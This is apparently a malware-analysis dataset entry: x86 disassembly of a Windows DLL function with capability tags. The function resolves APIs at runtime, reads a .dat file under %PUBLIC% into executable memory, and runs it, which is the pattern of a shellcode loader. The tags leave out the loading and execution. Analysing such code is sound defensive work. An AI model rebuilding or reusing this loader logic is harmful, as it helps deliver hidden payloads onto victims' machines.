Function at 0x100010e0
Capabilities:
Query environment variable
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10007891
mov eax, dword fs:[0]
push eax
sub esp, 0x168
mov eax, dword [0x1000b018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, str.dll_1
mov edx, 0x1000a068
lea ecx, [ebp - 0x168]
call fcn.10001040
mov ebx, 0x1000a06c
mov edx, str.Func
lea ecx, [ebp - 0x14c]
mov dword [ebp - 4], 0
call fcn.10001040
mov ebx, 0x1000a078
mov edx, str.Func
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 1
call fcn.10001040
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x130]
mov edi, 0x10
cmp dword [ebp - 0x11c], edi
jae 0x10001175
lea ecx, [ebp - 0x130]
mov eax, dword [ebp - 0x168]
cmp dword [ebp - 0x154], edi
jae 0x10001189
lea eax, [ebp - 0x168]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ecx
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x138], edi
jae 0x100011b6
lea ecx, [ebp - 0x14c]
mov eax, dword [ebp - 0x168]
cmp dword [ebp - 0x154], edi
jae 0x100011ca
lea eax, [ebp - 0x168]
push ecx
push eax
call esi
push eax
call ebx
push 0x40
push 0x1000
push 0x100000
xor ebx, ebx
push ebx
mov dword [ebp - 0x16c], 0x1000
call eax
mov esi, eax
cmp esi, ebx
jne 0x10001261
cmp dword [ebp - 0x11c], edi
jb 0x10001209
mov eax, dword [ebp - 0x130]
push eax
call fcn.10001cf1
add esp, 4
mov esi, 0xf
mov byte [ebp - 0x130], bl
mov dword [ebp - 0x120], ebx
mov dword [ebp - 0x11c], esi
cmp dword [ebp - 0x138], edi
jb 0x10001237
mov ecx, dword [ebp - 0x14c]
push ecx
call fcn.10001cf1
add esp, 4
mov dword [ebp - 0x138], esi
mov dword [ebp - 0x13c], ebx
mov byte [ebp - 0x14c], bl
cmp dword [ebp - 0x154], edi
jb 0x100013be
mov edx, dword [ebp - 0x168]
push edx
jmp 0x100013b6
push 0x104
lea eax, [ebp - 0x114]
push eax
push str._PUBLIC_KNOCK_sgGk8LEwXRZS.dat
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push ebx
push ebx
push 3
push ebx
push 1
push 0x80000000
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x1000130c
mov edi, 0x10
cmp dword [ebp - 0x11c], edi
jb 0x100012b4
mov edx, dword [ebp - 0x130]
push edx
call fcn.10001cf1
add esp, 4
mov esi, 0xf
mov dword [ebp - 0x11c], esi
mov dword [ebp - 0x120], ebx
mov byte [ebp - 0x130], bl
cmp dword [ebp - 0x138], edi
jb 0x100012e2
mov eax, dword [ebp - 0x14c]
push eax
call fcn.10001cf1
add esp, 4
mov dword [ebp - 0x138], esi
mov dword [ebp - 0x13c], ebx
mov byte [ebp - 0x14c], bl
cmp dword [ebp - 0x154], edi
jb 0x100013be
mov ecx, dword [ebp - 0x168]
push ecx
jmp 0x100013b6
push ebx
lea edx, [ebp - 0x16c]
push edx
push 0x100000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1000132d
lea edi, [eax + 0x10]
jmp 0x100011f2
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x174]
push eax
push 0x40
push 0x100000
push esi
call dword [ebp - 0x170]
call esi
mov edi, 0x10
cmp dword [ebp - 0x11c], edi
jb 0x10001367
mov ecx, dword [ebp - 0x130]
push ecx
call fcn.10001cf1
add esp, 4
mov esi, 0xf
mov dword [ebp - 0x11c], esi
mov dword [ebp - 0x120], ebx
mov byte [ebp - 0x130], bl
cmp dword [ebp - 0x138], edi
jb 0x10001395
mov edx, dword [ebp - 0x14c]
push edx
call fcn.10001cf1
add esp, 4
mov dword [ebp - 0x138], esi
mov dword [ebp - 0x13c], ebx
mov byte [ebp - 0x14c], bl
cmp dword [ebp - 0x154], edi
jb 0x100013be
mov eax, dword [ebp - 0x168]
push eax
call fcn.10001cf1
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000183c
mov esp, ebp
pop ebp
ret